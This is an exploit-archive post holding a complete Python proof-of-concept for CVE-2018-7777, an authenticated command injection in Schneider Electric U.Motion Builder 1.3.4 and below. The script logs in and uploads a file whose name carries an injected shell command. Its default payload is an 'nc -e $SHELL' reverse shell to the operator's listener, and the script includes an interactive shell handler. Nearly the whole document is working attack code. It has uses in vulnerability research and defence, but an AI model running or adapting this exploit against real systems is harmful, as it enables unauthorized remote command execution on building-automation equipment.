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Schneider Electric U.Motion Builder 1.3.4 Command Injection

Schneider Electric U.Motion Builder 1.3.4 Command Injection
Posted Feb 3, 2020
Authored by Cosmin Craciun

Schneider Electric U.Motion Builder versions 1.3.4 and below authenticated remote command injection exploit.

tags | exploit, remote
advisories | CVE-2018-7777
SHA-256 | fddf6a16d030c574aa78b52dd0985b8fc03079d657c60a5f8252ea38c6d38982

Schneider Electric U.Motion Builder 1.3.4 Command Injection

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# Exploit Title: Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection
# Date: 2018-08-01
# Exploit Author: Cosmin Craciun
# Vendor Homepage: https://www.se.com
# Version: <= 1.3.4
# Tested on: Delivered Virtual Appliance running on Windows 10 x64
# CVE : CVE-2018-7777
# References: https://github.com/cosmin91ro

#!/usr/bin/oython


from __future__ import print_function
import httplib
import urllib
import argparse
import re
import sys
import socket
import threading
import time

parser = argparse.ArgumentParser(description='PoC')
parser.add_argument('--target', help='IP or hostname of target', required=True)
parser.add_argument('--port', help='TCP port the target app is running', required=True, default='8080')
parser.add_argument('--username', help='TCP port the target app is running', required=True, default='admin')
parser.add_argument('--password', help='TCP port the target app is running', required=True, default='admin')
parser.add_argument('--command', help='malicious command to run', default='shell')
parser.add_argument('--src_ip', help='IP of listener for the reverse shell', required=True)
parser.add_argument('--timeout', help='time in seconds to wait for a response', type=int, default=3)

class Exploiter(threading.Thread):
def __init__ (self, target, port, timeout, uri, body, headers, shell_mode):
threading.Thread.__init__(self)
self.target = target
self.port = port
self.timeout = timeout
self.uri = uri
self.body = body
self.headers = headers
self.shell_mode = shell_mode

def send_exploit(self, target, port, timeout, uri, body, headers):
print('Sending exploit ...')
conn = httplib.HTTPConnection("{0}:{1}".format(target, port), timeout=timeout)
conn.request("POST", uri, body, headers)
print("Exploit sent")
if not self.shell_mode: print("Getting response ...")

try:
response = conn.getresponse()
if not self.shell_mode: print(str(response.status) + " " + response.reason)
data = response.read()
if not self.shell_mode: print('Response: {0}\r\nCheck the exploit result'.format(data))

except socket.timeout:
if not self.shell_mode: print("Connection timeout while waiting response from the target.\r\nCheck the exploit result")

def run(self):
self.send_exploit(self.target, self.port, self.timeout, self.uri, self.body, self.headers)

class Listener(threading.Thread):
def __init__(self, src_ip):
threading.Thread.__init__(self)
self.src_ip = src_ip

def run(self):
self.listen(self.src_ip)

def listen(self, src_ip):
TCP_IP = src_ip
TCP_PORT = 4444
BUFFER_SIZE = 1024

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
print("Listener open on port {0}".format(TCP_PORT))
s.listen(1)

conn, addr = s.accept()
print('Exploited: ' + str(addr))

while 1:
comm = raw_input("shell$ ").strip()
if comm == "quit":
conn.close()
sys.exit(0)

if comm != "":
conn.send(comm + " 2>&1" + "\x0a")
while 1:
data = conn.recv(BUFFER_SIZE)
if not data: break
print(data, end="")
if "\x0a" in data: break

except Exception as ex:
print("Could not start listener")
print(ex)

def login(target, port, username, password):
uri = "http://{0}:{1}/umotion/modules/system/user_login.php".format(target, port)

params = urllib.urlencode({
'username': username,
'password': password,
'rememberMe': '1',
'context': 'configuration',
'op': 'login'
})

headers = {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "*/*"
}

try:
conn = httplib.HTTPConnection("{0}:{1}".format(target, port))
conn.request("POST", uri, params, headers)
response = conn.getresponse()
print(str(response.status) + " " + response.reason)
data = response.read()
except socket.timeout:
print("Connection timeout while logging in. Check if the server is available")
return


cookie = response.getheader("Set-Cookie")
#print(cookie)

r = re.match(r'PHPSESSID=(.{26});.*loginSeed=(.{32})', cookie)
if r is None:
print("Regex not match, could not get cookies")
return

if len(r.groups()) < 2:
print("Error while getting cookies")
return

sessid = r.groups()[0]
login_seed = r.groups()[1]

return sessid, login_seed

conn.close()


def encode_multipart_formdata(fields, files):
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'
L = []
for (key, value) in fields:
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, filename, value) in files:
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: application/x-gzip')
L.append('')
L.append(value)
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % LIMIT
return content_type, body


def exploit(target, port, username, password, command, timeout):
uri = "http://{0}:{1}/umotion/modules/system/update_module.php".format(target, port)

fields = [
('choose_update_mode', 'MANUAL'),
('add_button', '0'),
('format', 'json'),
('step', '2'),
('next', '1'),
('name_update_file', ''),
('path_update_file', ''),
('type_update_file', '')
]

listener = None
if command == "shell":
shell_mode = True
command = "nc -e $SHELL {0} 4444".format(args.src_ip)
listener = Listener(args.src_ip)
listener.start()
time.sleep(3)
else:
shell_mode = False

files = [
('update_file', 'my;{0};file.tar.gz'.format(command), "\x1f\x8b")
]

content_type, body = encode_multipart_formdata(fields, files)

if not shell_mode or (shell_mode and listener and listener.isAlive()):
print('Logging in ...')
sess_id, login_seed = login(target, port, username, password)
if sess_id is None or login_seed is None:
print('Error while logging in')
return

print('Logged in ! ')

headers = {
'Accept': 'application/json,text/javascript,*/*; q=0.01',
'Accept-Encoding': 'gzip,deflate',
'Referer': 'http://{0}:{1}/umotion/modules/system/externalframe.php?context=configuration'.format(target, port),
'X-Requested-With': 'XMLHttpRequest',
'Content-Length': len(body),
'Content-Type': content_type,
'Connection': 'keep-alive',
'Cookie': 'PHPSESSID={0}; loginSeed={1}'.format(sess_id, login_seed)
}

exploiter = Exploiter(target, port, timeout, uri, body, headers, shell_mode)
exploiter.start()

if __name__ == '__main__':
args = parser.parse_args()
exploit(args.target, args.port, args.username, args.password, args.command, args.timeout)
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